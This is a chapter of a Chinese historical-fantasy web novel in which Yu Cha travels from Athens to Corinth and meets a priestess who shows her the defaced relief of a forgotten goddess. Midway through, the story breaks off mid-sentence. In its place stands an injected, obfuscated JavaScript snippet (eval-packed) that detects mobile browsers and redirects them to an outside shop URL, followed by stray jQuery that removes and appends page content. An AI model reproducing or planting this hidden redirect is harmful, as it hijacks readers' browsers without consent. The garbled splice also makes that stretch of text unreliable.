苏格拉底死后的第60天，余茶离开了雅典。
那天早晨，天刚蒙蒙亮，狄奥多拉的院子里就忙碌起来。老仆把准备好的皮革包袱扛到门口，厨房的帮工往包袱里塞干粮和水囊。狄奥多拉站在廊柱下，亲自检查着每一件东西——羊毛毯、换洗的衣服、一小袋银币、一个蜡板、几卷空白的莎草纸和炭笔。
“提玛瑞特是我早年认识的朋友。”狄奥多拉一边说，一边把一块叠好的亚麻布塞进包袱，“她在科林斯城外的一座小神庙里当祭司。那座神庙很老了，供奉的是一个没人记得名字的女神——当地人管她叫恩诺迪亚，意思是‘路边的她’。你到了科林斯，别进城，先往西走，城外有条小路，路边的橄榄林里有一座小石庙，那就是她住的地方。”
余茶听着，把这些话记在心里。
“她是个怪人。”狄奥多拉继续说，“不参加城里的祭祀，不和阿芙洛狄忒神庙的人来往，从小一个人守着那座破庙。科林斯的人都觉得她疯了，但她是我见过的最清醒最睿智的人之一。”
余茶很好奇：“她信奉的女神——恩诺迪亚，是什么神？”
狄奥多拉想了想，说：“一个很古老的神。”她说，“比奥林匹斯那些都古老。她管着路，管着边界，管着那些没人去的地方，据说也管着冥界的入口。有些人说，她是赫卡忒的另一个名字，但提玛瑞特说不对——赫卡忒是后来才有的，恩诺迪亚更早。”
她看着余茶，目光里有一种奇怪的东西。
“你去了就知道了。”
马车驶出雅典城的时候，太阳刚刚爬上卫城的山丘。余茶掀开帘子，回头看着那座逐渐远去的城市。帕特农神庙在晨光中泛着金色的光芒，像一座巨大的墓碑——埋葬着苏格拉底，也埋葬着那些被遗忘的真相。
狄奥多拉没有来送。她说她不喜欢送人，也不喜欢被人送。
马车慢慢向比雷埃夫斯港驶去。路面不平，车轮颠簸，余茶的左腿在每次颠簸中都隐隐作痛。她靠在车壁上，闭上眼睛，任由那些画面在脑海里浮现——苏格拉底站在审判台上，之后笑着饮下毒汁；狄奥多拉递给她包袱时眼中的不舍；还有那个在巷子里擦肩而过的、有着和她相似五官的女人。
她摸了摸自己的脸，轻声吟诵经她改编的那句狄奥多拉的诗：“那位在公元前5世纪的雅典街角，低头走过的东方人五官的女子，是迁徙长河中一次孤独的基因涟漪——她的长相不代表她的族群，只代表她自己。”
余茶笑了笑，“孤独的基因涟漪”，她喜欢这个说法。
---
第二天傍晚，余茶坐的商船到达了科林斯港口莱凯翁。稍微有点晕船的她，走下跳板，脚下踩的是用巨大石块铺成的码头地面，石块表面被海水冲刷得很光滑，有些缝隙里还长了几根野草。海水的咸腥味，混杂着潮气以及远处飘来的烤鱼香味，扑面而来。
码头上的声音很嘈杂。扛着陶罐的奴隶从她身边快步走过，嘴里喊着让路的吆喝声；几个穿短袍的商人蹲在一堆刚卸下的货物旁，用手指在木板上划来划去，激烈地讨价还价；不远处传来“嘿呦、嘿呦”的号子声，一群光着上身的劳工正用粗绳拖拽一艘刚刚靠岸的小型货船，把它拉上石砌的船台——那是等着被拖过地峡去另一边的船。
码头上堆积的货物让人眼花缭乱：成摞的陶罐，大概是从三角岛运来的葡萄酒，捆扎整齐的莎草纸卷，只能来自埃及，还有几个笼子里关着不知名的活物，发出低沉的叫声。
最让她震撼的，是抬起头时看到的东西。
从港口向南望去，两道巨大的城墙从码头边缘拔地而起，笔直地伸向远方，几乎望不到头。这就是连接莱凯翁港与科林斯城的 “长墙” ，长度约约2公里。两道墙之间是一条宽阔的铺石大道，被称为莱凯翁大道。大道两旁，隐约可见成排的建筑和走动的人影。
城墙外侧，偶尔能看到背着弓箭的哨兵在巡逻。这条路，就是余茶接下来要走的路——只要沿着它一直往南走，就能抵达科林斯城。
在码头的某个突出位置，立着一座不算太高但很显眼的灯塔，石砌的塔身带着被海风吹过的痕迹。灯塔旁边，站着一尊比真人略大的铜制雕像——是手持火炬的海神波塞冬，火炬早已熄灭，但那伸向海面的姿势，像在迎接每一艘平安归航的船。
再往远看，科林斯湾的海面在午后的阳光下泛着粼粼波光。如果天气晴好，甚至能看到海湾对岸的陆地轮廓——那是通向三角岛的方向。这座港口，正是整个希腊世界通往西方的门户。
在码头边，她已经看到几个牵着驴的脚夫蹲在墙根下等着揽活。驴的背上搭着破旧的麻布垫子，正低头啃着地上干枯的草根。
余茶把行李从船上搬下来，向那几个驴夫走去。身后，一艘即将启航的船正升起帆，海风吹得帆布猎猎作响。
她到科林斯了。
------
她找的驴夫正好知道提玛瑞特和她的神庙，他们慢慢悠悠地走了大约半小时，驴停在了科林斯城外的一条土路边。驴夫指着前方一片橄榄林说：“沿着这条路走进去，就能看到那座小庙。”
余茶付了钱，拎着包袱，独自走进橄榄林。
夕阳把橄榄树的影子拉得很长。林间有一条几乎被荒草淹没的小路，弯弯曲曲，通向深处。走了大约一刻钟，眼前豁然开朗——一座小小的石庙立在林间空地上。
庙很小，比雅典城里任何一座神庙都小。只有四根粗陋的石柱撑着一个三角形的人字墙，墙上的浮雕已经被风雨侵蚀得几乎看不清了。庙门敞开着，里面黑洞洞的。
庙前的地上，蹲着一个女人，正在用树枝拨弄一堆燃烧的香草。青灰色的烟雾袅袅升起，带着一种陌生的、泥土气息的香味。
那女人抬起头。
她看起来三十岁左右，身材健美，皮肤晒得黝黑，一双眼睛很亮，像夜里井水映出的星光。她穿着粗糙的羊毛长袍，袍子上沾着泥土和香灰，头上没戴任何首饰，只用一根木簪把棕色的头发挽起来。
“狄奥多拉让你来的？”她问。
余茶眼神清澈地点点头。
那女人站起身，拍了拍手上的土，打量着余茶。
“进来吧。”
她转身走进庙里，余茶跟在她身后。
庙里比外面看起来更简陋。正对门的地方立着一块齐腰高的石头，石头上放着一个陶碗，碗里燃着小小的火焰。石头后面的墙上，挂着一块已经发黑的木板，木板上隐约可以看到一个女人的轮廓——没有脸，只有身体和四肢的线条。
“这就是恩诺迪亚。”提玛瑞特指着那块木板说，“她的脸被人凿掉了。两百年前凿的。后来的人忘了她长什么样，就这样挂着。”
余茶盯着那块木板，心里涌起一种熟悉的感觉。
被凿掉的脸，被抹去的名字。
“你在别处见过？”提玛瑞特问。
余茶眨了眨眼，没有回答。
提玛瑞特也没有追问。她走到石头旁边，往陶碗里添了一些香草，火苗窜高了一点。
“坐吧。”
余茶在庙里的石板上坐下。提玛瑞特在她对面坐下，看着她。
“狄奥多拉的信里说，你在找一些东西。被改掉的故事，被遗忘的神。”
余茶点头。
“你来对地方了。”提玛瑞特说，“科林斯是被改得最多的地方之一。”
她指了指庙门外那个方向——那里，科林斯城所在的山丘上，阿芙洛狄忒神庙的屋顶在暮色中隐约可见。
“那座山，原来不叫阿芙洛狄忒山。”她说，“叫别的名字。山上那座庙，原来也不是供奉阿芙洛狄忒的，是供奉她的。”她指了指墙上那块无脸的木板。
“后来呢？”
“后来新神来了。”提玛瑞特说，“他们拆了旧庙，盖了新庙。把旧神的脸凿掉，把旧神的名字抹掉，然后告诉人们，这里一直是阿芙洛狄忒的地盘。人们信了，因为旧庙已经没了，旧神的脸已经没了，他们只看到新庙，只听到新名字。”
余茶皱着眉说：“那些庙里的女人呢？那些……阿芙洛狄忒的侍女？”
提玛瑞特看着她，目光里闪过一丝复杂的情绪。
“是啊，科林斯的招牌。”
提玛瑞特沉默了很久。
“她们原来不是那样的。”她说，“她们是恩诺迪亚的侍女，是自由人，受人尊敬。她们在山上唱歌，跳舞，举行仪式，祈求大地丰收，祈求女人平安生产。后来，一切都被改了。她们被卖到新庙里，成了……”她没有说下去。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17238788|197565||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
余茶想起狄奥多拉说过的话：女主人变成了女奴，赐予者变成了惩罚者，一变成了多。
“我能去看看吗？”
提玛瑞特看着她。
“你想看什么？”
“看真相。”
提玛瑞特点了点头。
“明天我带你去。今天晚了，你就在这里睡吧。庙后面有一间小屋，是我的住处，你可以睡那里。”
---
第二天一早，提玛瑞特带着余茶进城。
科林斯比雅典更喧嚣。街上挤满了人——水手，商人，奴隶，还有那些穿着鲜艳衣服、站在街角招揽客人的女人。余茶跟着提玛瑞特穿过人群，向那座山走去。
通往山顶的石阶很长，两旁种满了桃金娘和石榴树。石阶上，三三两两的女人正往上走——她们穿着轻薄的衣服，脸上涂着脂粉，头上戴着花环。
提玛瑞特没有走正门。她带着余茶绕到山后，沿着一条几乎没人走的小路向上爬。路很陡，余茶的左腿每走一步都隐隐作痛，但她咬牙坚持着。
半山腰处，提玛瑞特停下脚步。她拨开一丛野生的灌木，露出一个被杂草掩盖的洞穴入口。
“进去看看。”
余茶弯腰钻进洞穴。洞里很暗，她摸索着走了几步，眼前渐渐适应了黑暗。
尽头的岩壁上，刻着一幅浮雕——一个女人坐在宝座上，两旁是狮子，头顶是星空，脚下是大地。她的脸已经被凿掉，只剩下一个模糊的轮廓。
余茶盯着那幅浮雕，心跳如鼓。
这和普罗克洛斯给她看的那幅临摹一模一样。和克里特档案馆里见过的那些壁画，风格一脉相承。
提玛瑞特站在她身后，轻声说：
“这才是山上原来的女神。恩诺迪亚——不过名字不重要了，反正已经被抹掉了。那些狮子，是她的守护者。那星空，是她管辖的范围。那大地，是她掌管的领域。她曾经是这里的主人。”
余茶伸出手，触摸那幅浮雕。岩石冰凉，粗糙，那些被凿掉的痕迹在指腹下清晰可辨。
“后来呢？”
“后来新神来了。”提玛瑞特说，“她的庙被拆掉，她的神像被砸碎，她的名字被抹去。那些侍奉她的女人——”她指了指洞穴外面的方向，“她们被卖到新庙里，成了男人的玩物。她们被称为‘阿芙洛狄忒的侍女’，说她们做的是神圣的事。但你知道什么是神圣的吗？”
余茶没有接话。
“神圣就是让她们没有选择。”提玛瑞特说，“让她们相信，自己生来就是做这个的，这是女神的旨意，不能反抗，不能逃跑，不能怨恨。这就是神圣。”
余茶沉默了很久。
她想起那个冰灰色眼睛的年轻人，想起他手里的暗蓝色金属薄片。他也在寻找什么？也在寻找这些被遗忘的东西？
“你为什么告诉我这些？”她问提玛瑞特。
提玛瑞特看着她，眼中带着一种奇怪的光芒。
“因为你能看懂那些符号。”她说，“狄奥多拉信里说了，你在研究一些古老的文字。也许你能找到她的名字。”
“找到她的名字有什么用？”
提玛瑞特的眼睛亮晶晶的，她说：“那些老人说，只要有人能找到她的名字，她就还会回来。”
余茶看着她。
“你信吗？”
提玛瑞特笑了，那笑容里带着一种很遥远的希冀。
“我信。但我可能也要离开了。”
她们走出洞穴，站在山后的坡地上。阳光洒在科林斯湾上，把海水染成一片碎金。山顶上，阿芙洛狄忒神庙巍然矗立，白色的石柱闪闪发光。
余茶看着那座神庙，想起那些站在街角的、穿着鲜艳衣服的女人。
珍贵的饰品，是女人的武器。
但有时候，武器不是金子做的。有时候，武器是那些被遗忘的名字，是被凿掉的脸，是刻在岩壁上的浮雕。
“我还会再来。”她对提玛瑞特说。
提玛瑞特点了点头。
“在我走之前，随时来。”
余茶转身，向山下走去。左腿每走一步都隐隐作痛，但她没有停下。
身后，那个无脸的女神沉默地守在洞穴里，等着永远不会回来的人。